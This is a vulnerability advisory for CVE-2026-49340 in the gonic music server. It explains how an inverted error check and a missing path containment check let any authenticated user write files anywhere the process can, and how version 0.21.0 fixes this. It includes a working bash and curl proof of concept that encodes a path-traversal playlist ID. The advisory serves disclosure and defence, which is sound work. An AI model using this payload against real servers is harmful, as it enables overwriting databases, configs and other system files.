high · 8.1CVE-2026-49340Jun 26, 2026

CVE-2026-49340: gonic Arbitrary File Write via Path Traversal in createPlaylist

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any authenticated gonic user, including non-admins, can write attacker-controlled content to arbitrary paths on the server's filesystem by passing a path-traversal sequence as a playlist ID.

Packagego.senan.xyz/gonic
Ecosystemgo
Affected<= 0.20.1
Fixed in0.21.0

The problem

gonic's ServeCreateOrUpdatePlaylist handler decodes the playlist id parameter from base64 into a filesystem path, then passes it to Store.Write with no boundary check.

A logic error makes the ownership guard permanently inactive: the condition err != nil && pl != nil can never be true because Store.Read never returns a non-nil pointer alongside a non-nil error. So playlist stays zero-valued, playlist.UserID is always 0, and the playlist.UserID != 0 guard short-circuits to false, letting every request through.

With the ownership check bypassed and no filepath.Rel containment in Store.Write, any ..-prefixed relPath resolves outside the playlist directory. The write also calls os.MkdirAll with 0o777, creating intermediate directories as world-writable. Impact: overwrite any file the gonic process can write to, including its own SQLite database, config files, and other users' playlists.

Proof of concept

A working proof-of-concept for CVE-2026-49340 in go.senan.xyz/gonic, with the exact payload below.

bash
# Encode the traversal path and build the playlist ID
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

# Send as any authenticated (non-admin) user
curl -s "http://gonic-host/rest/createPlaylist.view\
?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json\
&id=${ID}&name=injected" | python3 -m json.tool

# Expected response: {"subsonic-response":{"status":"ok",...}}
# Side effect: /var/log/anything.log written with M3U-structured content;
# intermediate directories created with 0o777 permissions.

The root cause is a typo-class logic error at handlers_playlist.go:83: err != nil && pl != nil should be err == nil && pl != nil. Because Store.Read always returns either (*Playlist, nil) or (nil, error), the original condition is permanently false, so playlist is never populated and playlist.UserID stays 0.

The guard playlist.UserID != 0 && playlist.UserID != user.ID then trivially passes for every request.

The second gap is in Store.Write (playlist/playlist.go): it computes absPath := filepath.Join(s.basePath, relPath) without a subsequent filepath.Rel containment check. Go's filepath.Join cleanly resolves .. segments, so filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/x") yields /var/lib/gonic/etc/cron.daily/x.

CWE-22 (path traversal) is the primary weakness, compounded by CWE-697 (incorrect comparison) and CWE-732 (world-writable dir creation).

The fix

Upgrade to gonic 0.21.0 (commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445). The patch corrects the boolean condition to err == nil && pl != nil so existing playlist ownership is actually enforced, and adds a filepath.Rel-based containment check in Store.Write, Store.Read, and Store.Delete to reject any path that resolves outside the playlist base directory.

The MkdirAll permission is tightened from 0o777 to 0o755. No workaround is available in 0.20.x; upgrade is the only fix.

Reported by Vishal Shukla (@shukla304 / @therawdev).

References: [1][2][3]

Related research